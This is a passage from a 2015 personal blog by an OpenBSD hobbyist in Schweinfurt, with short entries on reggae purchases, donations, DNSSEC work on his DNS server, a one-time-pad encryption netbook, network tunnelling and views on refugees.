Aries. Given mistakes in calculations I beg to tell that Jesus's death
was the start of a new age, the Age of Pisces. The time when the vernal
equinox would be in the constellation pisces for 2160 years or so. It isn't
exactly 2160 years but close. The next age is Aquarius and I wonder if Jesus
will reappear just before that time too. Now you may think that this is too
Astrologic mumbo jumbo... but the fact is that with precession of the
equinoxes the point in the sky for the vernal equinox moves in retrograde
fashion.
Bought two singles
April 22nd, 2015
I bought Tommy Lee Sparta's Hero and Spartan Soldier. Thanks goes to SVPRadio
for making me aware of the first song, and I took a liking to the second as
well it reminds me of the Film that I watched in german called 300. Thanks
goes to Youtube for teasing me to buy this.
Donated 50 euros to OpenBSD
April 22nd, 2015
Forgot about blogging this. Last friday I made the transaction to Theo.
This is the 2nd quarter donation bringing up donations to 100 euros for this
year.
And the Park seemed inviting
April 24th, 2015
My doctors always tell me I should walk more in order to get healthier so I
went to the park today.
Sorta like what Carl Sagan said about the cosmos, we've tested the water and
the water seemed inviting. I think I'll be doing more of this this spring.
Happy 25th anniversary Hubble!
April 24th, 2015
25 years ago the Hubble Space Telescope was launched into low earth orbit.
It allowed astronomers to see stars, nebulas, galaxies and other universe
properties without having to worry about cloud cover interference. Happy
Birthday Hubble!
Feel free to browse through any of these, there is some real awesome photos
especially in the first link (check it's archive).
OpenBSD getting hammerfs through GSOC?
April 28th, 2015
Google has announced their students for Google Summer of Code. OpenBSD is
participating and I think the highlight is porting HAMMER2 to OpenBSD. Here
is an introduction to HAMMER
at DragonFlyBSD's website. I'm intrigued and excited, but also a little
concerned whether I'd be able to run hammer with all its options. Nonetheless
a brilliant code!
Goodbye Avon!
April 29th, 2015
When my family and I immigrated to Canada in 1987 (we eventually returned to
Germany) I attended Avon Public School for grade six. Checking up on
Stratford News I noticed the school building closed in 2005 and just recently
torn down / demolished.
I guess the school only remains a memory now more than before.
No indication on what caused it though. I did have a lot of chinese IP's
try to log in as root on my sshd on port 1022 though. Anyways the httpd
is back up.
OpenBSD CD's delayed, upgraded anyways
May 2nd, 2015
Well my May 1st went like always. Early in the morning I ftp'ed my OpenBSD
stuff that I needed to upgrade to 5.7. And I upgraded my computers here at
home throughout the day. I believe the OpenBSD store apologized and said
they'd be shipping the CD's around May 7th. There was talk of a damaged
master CD and the delay at the manufacturing plant producing the CD's. DeRaadt
mentioned this is the first time in 20 years this has happened. I wonder what
outside forces caused this... oh well we'll never know.
My setup with chrome being exported from another account stopped working, and
I didn't realise it. I noticed I couldn't move the window anymore, it was
stuck where it opened. So I thought the windows manager was to blame and I
tried out kde4. KDE4 is good and all but I couldn't set a timezone. Then
after 2 logins it wouldn't load and left me with a blank screen after login.
It had to go. So I went back to fluxbox wm and got rid of the chrome browser
hack, now chrome worked fine. This leaves me somewhat vulnerable but at least
I can paste urls again, a feature that was greatly missed.
Pension, TV and Books
May 8th, 2015
I managed to get a raise of pay. I can now restart paying into a pension fund
and perhaps I'll get that TV. I haven't had a TV in probably 17 years that I
owned. I have an Apple TV that I'd connect to it and watch youtube probably,
LOL. Also I'll be able to buy more books this year. I'm all around happy.
I'll also have to pay catch up to last year since last year the CADEUR
(virtual currency, CAD and EUR exchange rate) was not in my favour. This
year it seems to be picking up again to 2013 values.
Where do you get your clothes?
May 9th, 2015
Here in Schweinfurt we had one store catering to oversized people (fittingly
called Goliath). In early 2014 they closed. So what I do is get my clothes
online. My T-Shirt size is 6XL so going shopping in regular stores is out of
the question. Just recently I bought a whole batch of boxershorts and
t-shirts for like 200 euros from Adamo.
The payment and delivery were flawless (per DHL). If you know of any other
online stores catering to oversized people in Germany or EU let me know, I'd
be interested.
Purchased more Reggae
May 9th, 2015
I have bought today the Demarco True Friend EP, and Jah Vinci - best of Jah
Vinci album. I'll be listening to these shortly.
Purchased DJ mixer
May 12th, 2015
Back when I was 19 I had a Gemini ScratchMaster mixer. This mixer I just
bought is far from the thing I had back then.
It connects via USB to Mac and IOS devices. It was only 124 euros so I felt
it was affordable. I plan on DJ'ing for SVPradio where I'd construct a mixing
session and DJ Jaz downloads it and streams it to the server. Should be
interesting anyhow.
Donated 25 euros toward Nepal
May 12th, 2015
I have donated 25 euros for the Nepalese people. I used
Spendenkonto Nothilfe to
transfer the funds from my bank account. Here's to hoping for recovery for
the nepalese people.
Anexit
May 13th, 2015
I had a chance to talk to Anexit on IRC today. He asked me
what my webpage was and I asked his anexit.net,
very interesting blog he's got. Anexit is experienced with BSD and this makes
it so great to talk to him. Lately he's very busy with his baby daughter but
otherwise you could catch him at a BSDCan conference.
Freifunk Tunnel Masters
May 15th, 2015
As you may know freifunk.net tunnels to the outside world. I have made
another step. Instead of tunneling to the freifunk.net servers directly
from my DSL I'm tunneling through a VPS of mine first. This has the benefit
that I can encrypt the traffic leaving the DSL and it can't be picked up
by my ISP when they compare a list of servers whether I have freifunk.net.
I'm using my udptunnel program that is still closed source but I plan on
overhauling it as it doesn't quite encrypt just yet, it just HMAC's. Gonna
work on that this weekend. If you don't know what I mean above just think
of a tunnel that gets tunneled. My vps is showing 5% more CPU on average
and I suspect it's a similar story with my router here at home. Also right
now I do about 200 GB of traffic so my VPS sees twice that amount. Because
the VPS is in Amsterdam there is more latency on the freifunk link, but it
gets discounted the fastpath on my DSL, so it's about even as if I had just
changed providers.
OpenBSD 5.7 arrived
May 15th, 2015
15 days after I installed 5.7 on all my systems the CD's arrived. This
doesn't really make me mad. But then I checked CD2 and this is what i found:
mercury# cd /cdrom
mercury# ls
5.7 OFWBOOT PORTS SHA256.SIG
HARDWARE PACKAGES README TRANS.TBL
mercury# more TRANS.TBL
D 5.7 5.7
F HARDWARE HARDWARE
F OFWBOOT ofwboot
^^^^^^^^
notice the ofwboot should have been lowercase when I read the CD. This is
probably a broken disk. It still doesn't make me mad. I got a great booklet
and stickers, and that makes me very happy. The CD's are probably coasters
and I hope the plant screwup doesn't repeat itself for 5.8. I'm glad to
support Theo de Raadt and OpenBSD, even when the CD's are screwed up once in
a while, they are still a plastic receipt that I buy into this product.
Holidays less than a month away
May 19th, 2015
I'm looking forward to my holidays. Simply because I'll be working on
Delphinusdnsd to put DNSSEC into it. I hope I will succeed with that, it's
my major personal project for this year and I hope I don't get side-tracked.
I've got 3 weeks to get something written. I'm looking forward to releasing
delphinusdnsd 1.0.0 in November 2015.
My udptunnel program is open source now
May 21st, 2015
The udptunnel that I use to tunnel freifunk with is now open source. You
can look at it
through here. Enjoy.
Pre-Ordered Ten of Hearts
May 21st, 2015
I have pre-ordered Alaine's Ten of Hearts album, which is scheduled to be
released in 5 days or so. I have Alaine's Without You album and I like how
she sounds.
Advocacy for OpenBSD
May 21st, 2015
On the OpenBSD Journal there was an article
that featured this article
to show among others that OpenBSD is and I quote "an important ingredient in
an EU strategy for more security and technological independence".
When I came to the EU, I had OpenBSD 3.1 in my pocket with me and I used this
almost at any opportunity. I have been lucky. I grew up with this stuff in
Canada since age 19 and OpenBSD releases since 2.5. Right now I don't have a
consumer router but rather an enterprise router made by Soekris running
OpenBSD. I plan on getting a PC-Engines APU router to run OpenBSD on it
soon. Both these routers allow me this security and technological
independence, talked about in the above article. The consumer routers over
and over again prove to be unreliable and faulty security wise.
Computers are better Rappers? Perhaps...
May 22th, 2015
I grew up on hip hop and rap in my teenager years. I had a language burden
to overcome and it wasn't easy, but I think I got the point. Now then
researcher in Finland have developed a rapping algorithm called
deep beat (german link). And this may be good and all and I'm
sure the algorithm will be used to produce Hip Pop, but what the mainstream
media never knew was that it wasn't the glorious rappers that interested us.
We wanted to hear the message, and the perfection of a human to deliver this
on to us. Now you can write a rhyme and practice it but how well are you
gonna be in freestyling. That's where people get mad respect. Sure they
recycle parts they practiced before probably but rapping from the head top
isn't an easy thing. In my experience hip hop was the experience itself and
that can't be told, you have to experience that yourself. I look up to the
god and my friends who gave me a message that was, what's the word, benevolent.
If you want to understand I invite you to watch
40 years of Hip Hop by
KRS-One. I can't guarantee you'll understand it but he tries to teach
you. My personal take on hip hop is that to repeat what I experienced in the
1990's you'd have to time travel, it cannot be repeated. Some qualities and
friendships remain from that time because we know what we went through in
those days. I am gonna stop, there is no words to this...
Purchased another Album
June 4th, 2015
This one is from Richie Spice "Book of Job". I'm going to listen to it now.
Vacation in a week
June 5th, 2015
I go on vacation in a week. I'm really excited. I hope I'm going to
get a lot of programming done then, as I have 3 weeks vacation.
Purchased two Books
June 6th, 2015
I haven't purchased a book in at least three months. It's time to get
something fresh. I got: Postfix: The Definitive Guide (Classique Us), Kyle Dent... and Hacking Exposed Wireless: Wireless Security Secrets and Solutions, Joshua Wright and Johnny Cache. These will give me something to read during the
holidays and perhaps inspire me.
I'm on Vacation
June 13th, 2015
Finally! Now the Delphinus DNS is gonna get dusted off and I'll be planning
how I'm gonna do this in the next few days. I have 3 weeks to get something
working. Also the summer
solstice will be around in a week or so. Be
prepared for that! It's when the sun is at its highest in the northern
hemisphere and at its lowest in the southern hemisphere. It is also the
official start of summer in the northern hemisphere until the september
equinox.
Delphinusdnsd Hack days, entering production..
June 18th, 2015
This is a status update of how my progress on putting DNSSEC
into delphinusdnsd is going. I haven't started on the DNSSEC part yet but
I have partitioned/fragmented the database structure on delphinusdnsd with
the underlying BerkeleyDB. I then had to iron out a few bugs also caused
by taking out code. I was able to put delphinusdnsd into production today
but I'm monitoring it carefully. At any time I can switch back the old
stable wildcarddnsd that was running on io.solarscale.de until today.
Next steps are to look at how my zone signer tool is working, it'll likely
take me a bit since it's written in ruby. You won't see this tool until
later it's not in the CVS tree yet. For those curious in watching what
is being changed can see so at the delphinusdnsd viewvc.
I'm still in the process of ironing out bugs and adding functionality...stay
tuned!
Happy Solstice!
June 21st, 2015
Solstice was great, but we had full cloud cover and it spit a little from
above too. Anyhow tomorrow I'm going to be back programming on DNSSEC for
Delphinusdnsd and i'm really looking forward to it. Cheers!
Donated 150 euros to the Red Cross
June 22nd, 2015
The city that I live in (Schweinfurt) is getting a refugee centre which is
in a part of the old Ledward Baracks, where the US Army used to be in. They
are opening the centre in July I believe. It serves as a 1st contact site
for refugees who are expected to stay in the city for up to 3 months. The
Red Cross is overlooking clothing the refugees who aren't expected to have
much clothing with them, so I have donated 150 euros and my family added
50 euros more making a total of 200 euros donation. The website of the
local red cross is here.
BTW yes this is the same Red Cross that I worked for a year as told on my
resume.
Delphinusdns Project sponsors Luke Antins
June 22nd, 2015
I have sponsored Luke Antins to add on some resource records on his
Ruby dns-zone gem. I'll
need this gem to do a conversion tool between BIND and DelphinusDNS
zonefiles, and especially do background conversion between signed zones.
Luke accepted to the work and it's expected to be done by the
time I get around to starting the ruby conversion tool, some time next
week. Luke has a website at float64.uk.
I'm absolutely thrilled about this and I'm so glad that we're able to do
this on an open source basis.
Art display of my parents creations
June 23rd, 2015
My mother and my dad are showing off their work, at the Kunsthalle Schweinfurt
starting on the 26th of June until the 12th of July. My mom is a potter and
my dad is a photographer, both their work will be on display.
If you're around the Schweinfurt area and appreciate good art, perhaps this
will interest you. This may be my parents last display together, so this is
a unique view of their display suitably called "signatures of time -
double play". I'll likely visit this art exhibit on friday when I'm in the
area of the art gallery. I won't be at the opening unfortunately.
Vacation cut short
June 24th, 2015
Unfortunate events at work have cut my vacation short. I'm back working.
What does this mean for delphinusdnsd? I don't know I can't finish it on
my vacation now. I'll see if I can get some time off in september or so.
Donated 50 euros to OpenBSD
June 25th, 2015
I just wrote a 50 euro donation to Theo de Raadt. I'll be bringing the
transfer to the bank tomorrow.
RFC 4034 compliant AFAIK
June 25th, 2015
I have added NSEC, and DS RR's to delphinusdnsd in the last 24 hours. I
believe with a bit of converting effort a signed DNSSEC zone being served
would be possible. But I don't want to stop there yet. I still want to
do NSEC3 and NSEC3PARAM (RFC 5155). And a frontend to a zonesigning tool
written in Ruby will be on the menu too, not sure when I have time for that
though. You can check out the CVS repo at
emea.centroid.eu if this interests you at all.
Status update on Delphinusdnsd and DNSSEC
June 28th, 2015
Well a lot was done but a lot of work remains.
NSEC and NSEC3 need to be added to NOERROR and NXDOMAIN replies
SOA replies need NSEC* I think.
PTR replies and CNAME still need RRSIG addons
Any replies and AXFR still need to be including the new RR's
The ruby conversion tool needs to be finished, right now I'm converting
BIND style zones by hand
And then I need to go through the checklists and debug. I think I'll do that
in October when I perhaps will get another holiday for a week (to make up for
my cancelled vacation). I figure there is about 2-3 more weeks of work left
to do (at about 1-2 hours a day).
AKW Grafenrheinfeld has shut down over night
June 28th, 2015
According to this article at telepolis the nuclear power plant at
Grafenrheinfeld which is about 8 km's from here has shut down, forever, last night. I'm very happy about this. Here is a picture of this plant:
The linked article tells that there is 8 nuclear powerplants left in Germany.
I hope they shut soon as well.
I have donated 20 euros to the Greece bailout fund
July 3rd, 2015
There is a fundraiser going on to bail out Greece. I first read about this here.
So I have added 20 euros to this fund. If everyone in the EU donates 20 euros
then we'd have bailed them out over 5 times the amount. Or if every family of
five spends 20 euros we'll have hit the mark. Good luck Greece!
Power outtage this morning
July 4th, 2015
We had a power outtage this morning and a transformer exploded
causing a 40 minute outtage to many parts of Schweinfurt. All my computers
have reset but thankfully none were damaged. I had one router with a 4000 hour
uptime or so, it has now reset. So I'm not gonna learn from this because I
already made plans to buy a bunch of UPS's in late August. It'll be three in
total one for my setup in my living room, one for the hallway and one for my
home office. Hoping the electricity grid will hold until then.
It definitely was hotter than 2003
July 6th, 2015
Yesterday was the hottest day on record, seriously (since 1884 when records
started being kept). Spectacularily we had a thunderstorm and lots of
lightning yesterday night when the darkness came. It lowered the temperature
by half in a matter of 1 hour or so. Now we have 23 degrees C and a bit of
breeze, but it's probably gonna get hot again.
Freifunk was affected by an MTU issue
July 7th, 2015
A router at the N-IX exchange point caused fragmented packets of my tunnel
to be thrown out. Here is the traceroute:
venus# traceroute io.solarscale.de 1538
traceroute to io.solarscale.de (78.47.14.22), 64 hops max, 1578 byte packets
1 ppp-default.m-online.net (82.135.16.28) 16.24 ms 16.091 ms 15.946 ms
2 xe-2-0-1.r5.nue1.m-online.net (212.18.6.79) 16.252 ms 16.225 ms 16.196 ms
3 * *^C
The third hop would have been:
3 nix-gw-2.hetzner.de (195.85.217.30) 6.837 ms 7.292 ms 7.099 ms
So I have notified hetzner.de of this routing issue. Many protocols require
fragmentation including dns with DNSSEC. But also my freifunk tunnels required
this and for the past three weeks service was affected. Sorry to my
freifunkers who have seen problems. I have routed to my backup tunnel which
doesn't have this issue.
Signatures of Time - Double Play
July 9th, 2015
Today I was at my parents art exhibition at the Kunstverein Schweinfurt. It
was excellent, I really enjoyed it. I made this photo.
After I had lunch with my parents, and was able to congratulate them on a
very good exhibition. They told me some articles were already sold. Those
with a red dot near them, which I didn't notice but I'm happy for them.
Hand-Down and a Story
July 10th, 2015
I have handed down the above items to someone in Erlangen city as a gift to
Freifunk Franken. The items are
2 x 20 feet of Wifi antenna cable with barrel connectors on each end and a
2.4 GHz Antenna possibly a Lucent. I bought these in Toronto in the year
2000.
Back in 2000, I wanted to be a provider of internet services (I still do).
And wifi came on the scene. I envisioned back then that perhaps I could
network a neighbourhood and have them downstream of a 10 Mbit/s ethernet to
another provider. So I bought as a test base 3 wifi cards of the pcmcia type
and 3 antennas and 2 cables of the above kind. I never got to play with these
because of a missing component which was called pigtails. And I was extremely
busy so I never got around to playing with these. The dream wasn't crushed
it just never was fulfilled.
Today there is a citizen
organisation called Freifunk in Germany that pretty well does all this stuff
that I envisioned back then. It's 15 years later now, progress was made.
I'm fairly happy with how things are going so I'm parting with this stuff.
Status update of Delphinusdnsd and DNSSEC
July 10th, 2015
I didn't get much done last week since it was too hot. The weather has
calmed a little and it's gotten cooler so I'm anxiously waiting to get back
to it. I'm currently working on NSEC3 replies on NXDOMAIN and NOERROR answers.
I still have to do AXFR and ANY answers, as well as DS replies upon delegation
requests. Then comes the challenging part of writing a ruby wrapper to sign
zones. I have lots of time until release though which will be in November.
I'm gonna take it in stride.
Purchased Reggae
July 11th, 2015
I have gotten an EP and a Riddim:
Her Name is Denyque - Denyque
City Life Riddim
I'll be listening to this now.
Purchased Netbook
July 13th, 2015
Almost 3.5 years after getting my last netbook, I have gotten a new one. It'll be here in
6-9 business days. It's an Acer Aspire V3 I believe...
yep. I'm crossing my fingers that this
laptop allows OpenBSD to run because of the UEFI thing that discourages
users of open source. Anyhow this netbook is similar to the old perhaps a bit
faster. I'm using both netbooks for a project of mine, meaning I won't keep
them long. Details of the project will emerge in time.
Donated $15 to FreeBSD Foundation
July 15th, 2015
15 seems to be the number of the day, it was spontaneously picked. It's
interesting that the US dollar and the Euro are almost 1:1. Anyhow this
concludes my yearly donations to FreeBSD, I still have a bit of money for
OpenBSD to be distributed next season (after september).
My CryptoBook
July 17th, 2015
I purchased an Acer Aspire V3-112. It didn't get
full support
from OpenBSD. But that's not what I purchased it for. I will now reveal
what I purchased it for. My Uncle asked me "how do you encrypt?", and I told
him "it's very difficult". There is several factors why it's difficult.
Encryption is very hard to do right as a programmer
Encryption tools that promise full privacy often lie
Often complexity gets in the way of something that should be simple.
My Uncle seemed a little impatient with me. I told him that a one time
pad is perfect encryption given the fact that the pad is not repeated, and
it's simple to make. We left it at that. But it got me thinking how I can
give the gift of encryption to my Uncle. And I thought of my netbook which
was affordable still and runs OpenBSD, if I could give him a netbook that does
everything then we solved a problem.
So I bought pluto (computer) this netbook. At first I envisioned writing the
OTP program in X11 but when pluto turned out to not like X11, I turned toward
the console. I wrote a script that calls a compiled program that handles the
one time pad. As it turned out the script didn't function right and I had to
rewrite it in C. So imagine you get a netbook and you turn it on and it says
this:
So the protocol I developed works on a one time pad. The pad can be generated
with this cryptobook. OpenBSD has a fairly cool random number generator,
however, to guarantee complete safety this cryptobook does not talk over the
network. It can't I have removed all network drivers from the kernel. So
the only way to transfer files to/from this cryptobook is with a memstick.
Just as long as you know that a memstick with a FAT32 filesystem can only hold
a 4 GB sparse file minus one byte. That would be the pad. Now OpenBSD takes
all sorts of sources for entropy, but I have removed the network drivers and
everything else is pretty much guessable. So I have turned the microphone
on permanently as a background job that writes everything it hears to /dev/null.
When generating the pad I hope someone is gonna listen to some funky music that
stirs the random number generator well.
Back to the protocol. Since my dad told me, my Uncle doesn't send too much
mail in a year, the problem of keeping track of offsets of the pad pretty well
solved itself. I generate a random number for the offset of the pad. Now
there is a chance that there is a collision which renders the message useless.
But I think we'll get lucky with low encrypted traffic. So what happens is
you put the documents you want encrypted into a special directory. Then you
chose "encrypt" on the cryptobook and it chooses those files in the directory
to be encrypted by the pad. Similarily to decrypt there is another directory
to stick encrypted files in and it'll decrypt them. The offset of the pad is
part of the header on encrypted files.
I'm going to leave it at that. If there is more to write I'll do so later.
I'm proud of this little project.
Macbook Pro and things
July 23rd, 2015
Yesterday, I bought a Macbook Pro. This wasn't a spontaneous decision, it
was something I planned for a longer time. I also bought some other things
like an external keyboard (USB Mac) an Intel NUC and a 10 port USB 3.0 Hub
(although it only gets detected as a 2.0 Hub for some reason). I also
bought Windows 8.1 and I'm looking forward to upgrading it to Win 10. On
my old netbook saturn (computer) I migrated the windows 7 off there to a
vmware fusion vm, it also will see a win 10 upgrade. So I was configuring
everything yesterday as i was copying it over and I had a few things that
caused me pain. In vmware fusion running OpenBSD and the mac keyboard made
the @ sign disappear. I fixed that with researching the manpages and googling.
Here is my .xsession as it looks finally:
This allows me to use the keyboard with the @ sign at Alt-L. The ^ sign and
> and < signs are reversed on the keyboard still but it beats having to
not find the @ sign. I do use the OpenBSD vm for my main things, as I'm in
my comfort zone with this. It's a little slower than working with the Xeon
which is going to get repurposed into a private cloud computer running bhyve
on FreeBSD, but it's an Core i5 after all on this Macbook Pro.
I'll have pictures once I have everything set up like I want it. Right now
I'm out of 220V electricity ports and I'm going to soon order my UPS backup
solutions that I also wanted to get.
Purchased the Kingston Jamaica Riddim
July 24th, 2015
I liked this riddim when I heard Demarco sing to it. So I purchased it.
It's nice.
New Network Plans
July 24th, 2015
I wrote this on a pad today. (Yes it's the pads given out at
EuroBSDCon 2011). I'm testing something with beta.swshell.de, something
that may make me some money. So temporarily that's how it'll look.
Two CryptoBooks side by side
July 25th, 2015
Opinion: Hacking Team are pigs
July 27th, 2015
I recently read something that hacking team said they are "victims". Yet
they are the ones that sold malware to governments far and wide to
infiltrate computers at border points or via the Internet. These guys are
low of the low. A good hacker in my mind is a defensive one, not an aggressive
offensive one. So these guys are far from good.
This brings up another point. Germany's defence minister is playing with the
thought of installing an offensive cyber capability in the german military.
What a mistake! Again, work up your defenses not offenses. As the only
victims in an offensive military are civilians and we are the ones who really
need help.
Delphinusdnsd status update
July 28th, 2015
Well the hot days are over I believe. So I'm itching to get back to this.
Perhaps next week I'll be able to write some code as this week is filled in
my schedule.
CryptoBooks virtualized
August 2nd, 2015
In order to make use of cryptobook in more parts of my family I have
virtualized it. That sorta defeats the point but buying a cryptobook
does tend to get expensive. Here is a vmware version of cryptobook:
And here is a virtualbox version of cryptobook:
These aren't for sale unfortunately.
Bought Reggae
August 6th, 2015
I have purchased Romain Virgo's album "The System", it's an older album but
I used to watch his videos on youtube.
.. and a Riddim
August 8th, 2015
There is only four songs on the Cloud Nine Riddim. But it's sweet. Too bad
they couldn't pack-in an instrumental to this.
Ordered a Book from Amazon
August 9th, 2015
I bought Design and Implementation of the FreeBSD Operating System, by
McKusick et al. Second edition! Having looked through this book I can
tell it'll be insightful. I bought the Design and Implementation of the
4.4BSD Operating System from the same author around 1996. I had struggled
with it, it's not an easy read and they recommend a Tanenbaum for newbies
first. Which I did, (buy a Tanenbaum) and it was worth it. Now only I hope
there is some similarities left between FreeBSD and OpenBSD like mbuf's. :-).
Can't port something without understanding both systems anyhow. So.. that
only leaves someone to write Design and Implementation of the OpenBSD System,
hint hint. Anyhow I think this McKusick book will be great.
Spampd and taking the -T out
August 9th, 2015
I must have wasted 2 hours trying to get spampd to work on a FreeBSD jail with
most recent ports. This was the error message:
Aug 09 11:15:51 testmail spampd[86796]: 2015/08/09-11:15:51 Insecure dependency
in open while running with -T switch at /usr/local/lib/perl5/site_perl/Net/ \
Server/Daemonize.pm line 75. at line 179 in file /usr/local/lib/perl5/ \
site_perl/Net/Server.pm
I tried everything, permissions, and ownership changes and all would work. So
finally I figured out that -T belongs to perl and not spampd or spamassassin.
when taking it out in /usr/local/sbin/spampd in the first line it worked. I
don't know enough of the implications of this but I'm sick of wasting a
sunday afternoon on a stupid -T. It stays off.
root@testmail:/usr/local/etc/rc.d # perl --version
This is perl 5, version 20, subversion 2 (v5.20.2) built for amd64-freebsd-thread-multi
Copyright 1987-2015, Larry Wall
I started shuffling my $HOME/.ssh directory
August 10th, 2015
There have been reports (real reports) of firefox allowing a remote attacker
from reading ssh keys. To make it harder on the attacker I'm shuffling my
.ssh directory with this script:
An Identityfile entry in my config file points to the right id_rsa file. Which
btw is passphrased, thank god! It would be folly I believe to have no
passphrase on my ssh keys. Don't be lazy!
I shuffle every 5 minutes per crontab.
Still in a Consumer Rush
August 16th, 2015
I'm still in a consumer rush. I hope it quells soon. I just purchased
another quad gigabit ethernet card for my soekris router. This brings
the gigabit ports on the soekris to twelve. I'm also very interested in
the raspberry pi for some reason again. Not so much the rpi that I have
but the rpi 2 which has double the RAM and 4 cores. If I were to put together
the soekris and 10 RPI boards I'd have a small supercomputer. I'm currently
testing the possibility of this. I'm brainstorming uses too.
And still in the Rush...
August 17th, 2015
I couldn't resist looking at raspberry pi stuff and came across a battery
pack unit. I thought this was good for a portable CryptoPi made the same
way as a CryptoBook, only cheaper. If it works out I'll be able to exchange
it with my Uncle who by now is in possession of the silver cryptobook.
OpenBSD 5.8 Pre-orders are on
August 19th, 2015
I have preordered my copy of OpenBSD 5.8 which will be released on October 18
which deraadt says is the anniversary of a Makefile he first committed in the
OpenBSD tree. It's the OS's 20th anniversary. If you're interested in
obtaining OpenBSD on CDROM go to https://openbsdstore.com and look for OpenBSD
version 5.8. Be sure to click on the EU symbol if you want to pay in euros.
With my preorder I also ordered a poster this time. It should look good in my
apartment.
Maxed my Soekris 6501
August 21st, 2015
I have maxed the soekris net 6501 I have with 12 interfaces. 5 are used and
5 are possibly going to be used in the near future.
It took 3 years or so to assemble all this, finally it's completed. The
latch to make sure the cards don't move did not fit in and I couldn't screw
it on, too bad.. a slight misdesign by soekris. One just has to be careful
with this one when transporting it.
Changes at work
August 22nd, 2015
The company I work for has been sold. Or better yet it has been aquired by
another company. I worked there for 6 hours a day since 2012 and in total
5 years. Finally I told on my resume where I work. We were a very small
company so I always felt it was better to keep secret where I work. Now
it's in the open.
The company that aquired us want to retain everyone on staff. I've been
offered an "after hours support" position at the NOC at that company. They
promise more money, which is nice but I'm gonna have to work extra hard to
establish a trusting relationship. It scares me somewhat because trust
establishment is not like respect. Respect you can earn, but trust is a
two way street, and it's subtle.
Since I am a remote worker everything hits me especially hard, since I'm not
in the office. It's a stressful time for me and I hope I'll be able to get
over it soon. Right now at work we're in a transition, from our system to the
other system. The company that aquired my work sits in the USA, this is almost
a repeat of what I saw in 1999 when another US company took over the Canadian
ISP I worked for. Americans have a liking on buying Canadian companies. :-)
Back in 1999 I quit the company, but I watched the other people who didn't and
they had a fairly solid job for a few years at least. Instead of panic'ing I'm
gonna take it in stride this time, perhaps something positive will evolve out
of this. Whether it's gonna work is written in the star perhaps. But I'm
gonna have to say goodbye to the canadian systems we've built and nurtured.
I won't be that "canadian ghost" that works in the real early hours of the
morning. Now I'm in new territory, it's a little scary, as it's unfamiliar
to me.
I'm always glad I have a blog to get things off my chest. To whomever reads
this.
Bought a Reggae Album
August 24th, 2015
This time it's Konshens - Mental Maintenance. The first few songs sounded
great!
Ordered two books from Amazon
August 25th, 2015
I have ordered:
The definitive guide to HTML5 Websocket - Vanessa Wang
HTML5 und CSS3: Das umfassende Handbuch - Jürgen Wolf
I plan on using these books to make a remote serial console for a bhyve
guest. Dunno if it'll work or not.
Omega: a new VPS
August 26th, 2015
I got a new VPS based in Frankfurt, Germany. It's called omega.virgostar.net.
I'm going to be using this one for a testbed with DNSSEC. With that I'm going
to have to split my domains a little bit. io.solarscale.de and
supercluster.virgostar.net will become a pair for serving my current domains.
Then I'm going to take my test domain (swshell.de) and transfer it to a new
pair consisting of omega.virgostar.net and americas.centroid.eu. In this
constellation I'm going to test DNSSEC, until either the test is done or
americas.centroid.eu expires. I'm not going to renew it, meaning in may
2016 I'll have three VPS again instead of four. This is positive as four VPS's
is starting to become a bit much to manage.
Resisting Refugees is Shameful
August 27th, 2015
If you are against the refugee situation in Germany and greater Europe look
into your heart. There is people fleeing a civil war and poverty, disease and
of course violence of the highest degree. I'm for taking in refugees and I
support it with money as well (200 euros went to the Red Cross this year for
support of refugees). I don't believe anti-refugee violence should be
tolerated here. And I just can't believe that there is people so ignorant of
the refugees who are in dire need of help. They say haters are gonna hate,
but it's a shame that haters become physical threats. Shame on those hateful
people who stand in refugees way. That's all I wanted to say.
Cancelling io.solarscale.de, eventually
August 29th, 2015
io.solarscale.de wasn't meant to be around forever. I've had it a number of
years now at hetzner online. So hetzner came out with a new line of VPS's.
A certain config of it I don't like at all, so when I tried getting a new
VPS with them I got stuck with that, I cancelled it right away. No way!
So I'm in the process of migrating everything to omega.virgostar.net and
supercluster.virgostar.net (the former for mail, the latter for web). I
just set up the IPSEC tunnel between those two hosts, it's looking promising.
Changed DNS setup
August 31st, 2015
I have partitioned my zones between four nameservers (two sets). swshell.de
is a testdomain and is served by io.solarscale.de and americas.centroid.eu.
I will test dnssec on these eventually. The rest of my domains are served
by omega.virgostar.net and supercluster.virgostar.net. This is a thinning
out and I hope I don't experience a double failure on either set but then
nothing would work anyhow anymore.
The last homely house on Earth
September 5th, 2015
Or... next stop, the Moon. This photo is my favourite photo of 2015.
I did this partially because I needed something easy to do. Where I left
off in June/early July was boring and complex work. I am trying to get
back into the swing of things now. There is lots to do still before the
1.0.0 release. If I don't make it by November 15th, it will be postponed
until the new year in 2016 most likely.
Equinox in less than 2 Weeks
September 10th, 2015
On September 23 at 8:20 GMT is equinox. After that point the nights will
become longer again and the days shorter. Yes, winter is inevitable.
That day is also the start of Autumn (or Fall) and usually the leafs from
the trees will turn in colours and eventually fall to the ground. Frost
will return...then perhaps snow putting its blanket on the leafs that fell.
Insects will rest, other wildlife will have a harder time getting food.
This is the seasons of the northern hemisphere. I think it's great!
Purchased Reggae
September 10th, 2015
This time it's Exco Levi - Country Man. He's a migrant to Canada like me!
Ordered a book from Amazon
September 10th, 2015
I ordered the "Computer Security Handbook" by Seymour Bosworth et al. It
cost a lot of money, but it's a thick book (2000+ pages). I was made aware
of this book when I googled the domain of my place of work and it came up.
Apparently a link in the book is to our servers, which interests me. Oh well
here is hoping to it being good.
I'm not hiring
September 15th, 2015
People are sending me resumes of what I can tell from the envelope. I'm not
opening resumes as I'm not hiring. I look at these as attempts of phishing.
Thanks. Also I'd like to say that I'd love to be hiring, had I money. Sad
truth is that I'm not rich.
Happy September Equinox!
September 23th, 2015
As I write this there is about 30 minutes until it's truely equinox. Happy
Equinox! I turned the heat to 1 (out of a possible 3 settings) today as it
was quite chilly overnight. This morning I looked up the temperature at
10 degrees Celsius. Since these are night heating units it'll take 1 or 2
days for them to reach their heating potential.
European Union where is your strength?
September 26th, 2015
The fact that all of Syria
only represents ~4 percent of all
EU citizens makes
it a sad chapter in Europe as a whole that we can't "grow" 4%. And not only
that there is talk of 800,000 refugees this year which is 0.16% of the
European population. And even then if you were to take all 60 million
refugees worldwide that's only 12% of the EU citizen base. I just can't
believe that some Central European nations within the EU don't want to take
their fair share of refugees. Where is our conscience?
Why are europeans
so xenophobic when it comes to our neighbours? Let me spell it out for you
2000 years ago Syria was part of the Roman Byzantine Empire and is a
mediterranean nation. This means it is on the same Mediterranean as Italy
and Spain. Have you not realised by now that the ground you're on in Europe
is not yours? You're only a steward of managing this ground as is everyone
else, we all die, so then that stewardship is dissolved. The land belongs to
